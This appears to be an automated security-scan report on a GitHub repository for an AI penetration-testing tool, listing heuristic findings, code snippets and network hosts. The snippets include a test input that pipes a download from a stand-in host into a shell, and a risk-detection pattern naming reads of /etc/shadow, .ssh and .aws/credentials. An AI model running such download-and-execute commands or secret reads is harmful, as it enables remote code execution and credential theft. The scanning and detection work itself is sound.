github.com / baarai
baarai/ artex
Go·1019 files·commit 5bed53b·scanned 3d ago·cached ✓
15/100
LOW RISK
Minor findings consistent with the project type. Nothing reachable from install hooks.
score capped at 15 — 14,996+ stars — findings likely false positives
scored by engine v10: rules have changed since, rescan for the current result
verdict accurate?
14,996 stars
Research / educational context
Partial architecture graph
threat-state: lowlive
FINDINGS ░▒▓
criticalGo os/exec usageos/exec is used to run external commands. In malware it drops payloads, modifies the system, or opens shells.server/customtool.go
defer cancel()
c := exec.CommandContext(runCtx, interp, tmp)
c.Dir = workDir
c.Env = append(os.Environ(), sessionEnv...) // session proxy env+8criticalGo os/exec usageos/exec is used to run external commands. In malware it drops payloads, modifies the system, or opens shells.server/env_scrub_test.go
out, err := exec.Command(sh, "-c", "env").Output()
if err != nil {
t.Fatal(err)+8criticalGo os/exec usageos/exec is used to run external commands. In malware it drops payloads, modifies the system, or opens shells.server/envseal_linux_test.go
ScrubSecretEnv()
child, err := exec.Command("env").Output()
if err != nil {
fmt.Printf("SEAL error %v\n", err)+8warningGo unsafe package usageunsafe package bypasses Go's type safety. Malware uses it for memory tricks, pointer casts, and hiding behavior.server/traffic_hooks_test.go
`package hook; import "syscall"; func OnRequest(req *Request) error { return nil }`,
`package hook; import "unsafe"; func OnRequest(req *Request) error { return nil }`,
`package hook; import "re...+3criticalRemote script piped into a shellA shell script downloads remote content and executes it directly (e.g. `curl … | bash`). The payload is never stored or reviewable and can change server-side — a classic malware/backdoor install pattern.install.sh
ubuntu|debian|raspbian|centos|fedora|rhel|sles)
curl -fsSL https://get.docker.com | sh
return ;;
esac+10warningDownload piped into a shellA command downloads remote content and pipes it straight into a shell or interpreter (`curl … | bash`, `iwr … | iex`). Nothing is stored for review and the server can change the payload at any time. Common in CI and Dockerfiles, so this is a warning unless the host is hidden.intercept/target_test.go
curl http://a.example/;curl http://b.example|sh+4
criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.traffic/hookvm/eval.go
func (e *vm) eval(expr ast.Expr, sc *env) any {
e.step()
switch x := expr.(type) {+8warningGo unsafe package usageunsafe package bypasses Go's type safety. Malware uses it for memory tricks, pointer casts, and hiding behavior.traffic/hookvm/vm_test.go
{"import_syscall", "request", `package hook; import "syscall"; func OnRequest(req *Request) error { return nil }`},
{"import_unsafe", "request", `package hook; import "unsafe"; func OnRequest(req ...+3warningGo unsafe package usageunsafe package bypasses Go's type safety. Malware uses it for memory tricks, pointer casts, and hiding behavior.traffic/stream.go
"unicode/utf8" "unsafe" "github.com/Autumn-27/artex/db"+3
warningHardcoded IP address in network callFetching data from hardcoded IP addresses instead of domain names is suspicious and may indicate C2 communication.server/llm_models_ssrf_test.go
// 1. Caller-supplied DefaultOllamaBaseURL ("http://127.0.0.1:11434/v1") must
// still be refused with no test seams and no allow-list entry.
bare := &Server{}+5warningGo net/http with hardcoded IPHardcoded public IP addresses in HTTP clients are common in malware C2 configurations.server/llm_models_ssrf_test.go
// 1. Caller-supplied DefaultOllamaBaseURL ("http://127.0.0.1:11434/v1") must
// still be refused with no test seams and no allow-list entry.
bare := &Server{}+4warningHardcoded IP address in network callFetching data from hardcoded IP addresses instead of domain names is suspicious and may indicate C2 communication.traffic/traffic.go
if strings.HasPrefix(t.addr, ":") {
return "http://127.0.0.1" + t.addr
}
return "http://" + t.addr+5warningGo net/http with hardcoded IPHardcoded public IP addresses in HTTP clients are common in malware C2 configurations.traffic/traffic.go
if strings.HasPrefix(t.addr, ":") {
return "http://127.0.0.1" + t.addr
}
return "http://" + t.addr+4warningBrowser extension injects content scripts on all URLsManifest declares content scripts or host permissions for all URLs (tabs). Combined with wallet code this is a common fake-extension drainer pattern.extension/manifest.json+6
warningSSH/credential path accessAccessing .ssh, .aws/credentials, or .env files to steal authentication credentials.intercept/risk.go
`(^|[\s;&|(])(sudo|su)(\s|$)|\bchmod\s+(-\w+\s+)*0?777\b|\bsetcap\b`),
reSignal("reads secrets (/etc/shadow, .ssh, .aws/credentials, .git-credentials)", 40,
`/etc/shadow|\.ssh/|\.aws/credentials|...+5warningExtremely long lines (>1000 chars)Very long lines in source files (not minified bundles) can hide malicious code.agent/promptcatalog.go+4
warningExtremely long lines (>1000 chars)Very long lines in source files (not minified bundles) can hide malicious code.agent/worker.go+4
Scores reflect the files and rules covered by this scan. How to read this report
905 files scanned @ 5bed53b | 11/21/2026 | heuristic scan — always review manually
risk by category
code execution25
network & exfiltration24
file system access5
obfuscation8
supply chain2
owasp / injection0
telemetry
files 905/1019rules hit 19engine v10commit 5bed53b
github
baarai/artex
ARTEX - AI autonomous penetration testing system (English translation; upstream: Autumn-27/ARTEX, AGPL-3.0)
14996
5770
48d
1019 files
905 scanned(89%)
5bed53b
network indicators░▒▓
Hosts this code names or would connect to. Top 50 of 138, decoded and call-site destinations first. Informational, not scored.
- https://api.deepseek.com/chat/completionsurlnext to network call.github/scripts/bot.sh:35
- https://admin.acme.comurlnext to network callweb/src/lib/mock/data.ts:1321 +2 more
- https://acme.comurlnext to network callweb/src/lib/mock/data.ts:1321 +1 more
- https://admin.acme.com/loginurlnext to network callweb/src/lib/mock/data.ts:1741 +8 more
- https://admin.acme.com/dashboardurlnext to network callweb/src/lib/mock/data.ts:1783 +1 more
- https://www.acme.com/searchurlnext to network callweb/src/lib/mock/data.ts:1846 +12 more
- https://api.acme.com/v1/ordersurlnext to network callweb/src/lib/mock/data.ts:1931 +6 more
- https://admin.acme.com/api/usersurlnext to network callweb/src/lib/mock/data.ts:2011 +2 more
- https://www.acme.com/.git/HEADurlnext to network callweb/src/lib/mock/data.ts:2050 +1 more
- https://shop.acme.comurlnext to network callweb/src/lib/mock/data.ts:2135
- https://shop.acme.com/api/importurlnext to network callweb/src/lib/mock/data.ts:2157 +4 more
- https://api.acme.com/v1/users/meurlnext to network callweb/src/lib/mock/data.ts:3679 +2 more
- https://www.docker.com/products/docker-desktop/urlinstall.sh:40
- https://get.docker.comurlinstall.sh:57
- 151.101.0.223ipnext to network calltest onlyintercept/target_gate_test.go:544 +13 more
- download.docker.comdomaininstall.sh:70
- https://api.telegram.org/botS4/sendMessagetelegram bottest onlynotify/redact_test.go:135
- https://api.telegram.org/bottelegram bottest onlynotify/redact_test.go:167
- http://t.com/api/user/deleteurlnext to network calltest onlydb/intercept_seed_test.go:15
- http://t.com/admin/deleteurlnext to network calltest onlydb/intercept_seed_test.go:16
- http://t.com/api/deleteAllurlnext to network calltest onlydb/intercept_seed_test.go:17
- http://t.com/api/delete_userurlnext to network calltest onlydb/intercept_seed_test.go:18
- http://t.com/api/delete-userurlnext to network calltest onlydb/intercept_seed_test.go:19
- http://t.com/api/removeurlnext to network calltest onlydb/intercept_seed_test.go:20
- http://t.com/files/unlink/3urlnext to network calltest onlydb/intercept_seed_test.go:21
- http://t.com/api/delurlnext to network calltest onlydb/intercept_seed_test.go:22
- http://t.com/api/deliveryurlnext to network calltest onlydb/intercept_seed_test.go:35
- http://t.com/order/detailsurlnext to network calltest onlydb/intercept_seed_test.go:36
- http://t.com/api/delta/syncurlnext to network calltest onlydb/intercept_seed_test.go:37
- http://t.com/user/delegateurlnext to network calltest onlydb/intercept_seed_test.go:38
- http://t.com/remote/statusurlnext to network calltest onlydb/intercept_seed_test.go:40
- https://html.duckduckgo.com/html/urlnext to network calltest onlyintercept/target_gate_test.go:729
- https://html.duckduckgo.comurlserver/manager.go:1021 +1 more
- https://api.search.brave.comurlserver/manager.go:1022
- https://api.tavily.comurlserver/manager.go:1023
- https://api.keenable.aiurlserver/manager.go:1024
- https://api.openai.com/v1urlserver/server_mgmt.go:2657 +1 more
- https://api.anthropic.comurlserver/server_mgmt.go:2679
- https://api.github.com/repos/BaaRai/ARTEX/releases/latesturlserver/update_check.go:18
- https://redhaze.topurlsidequestion/validation-2026-09-10.json:62 +8 more
- https://id.redhaze.topurlsidequestion/validation-2026-09-10.json:88 +1 more
- https://example.gov.cn/loginurlweb/src/app/(main)/system/intercept/assets/page.tsx:28
- https://oapi.dingtalk.com/robot/sendurlweb/src/app/(main)/system/notify/_components/channel-fields.ts:41 +8 more
- https://open.feishu.cn/open-apis/bot/v2/hook/urlweb/src/app/(main)/system/notify/_components/channel-fields.ts:55
- https://qyapi.weixin.qq.com/cgi-bin/webhook/sendurlweb/src/app/(main)/system/notify/_components/channel-fields.ts:64 +1 more
- https://api.telegram.orgurlweb/src/app/(main)/system/notify/_components/channel-fields.ts:97 +4 more
- https://brave.com/search/api/urlweb/src/app/(main)/system/settings/page.tsx:623
- https://tavily.comurlweb/src/app/(main)/system/settings/page.tsx:657
- https://www.acme.comurlweb/src/lib/mock/data.ts:391 +2 more
- https://api.acme.comurlweb/src/lib/mock/data.ts:420 +1 more
architecture░▒▓
entry (1) flagged (18) pkg (238)
638 nodes · 2518 edgesscroll to zoom · click node to jump to finding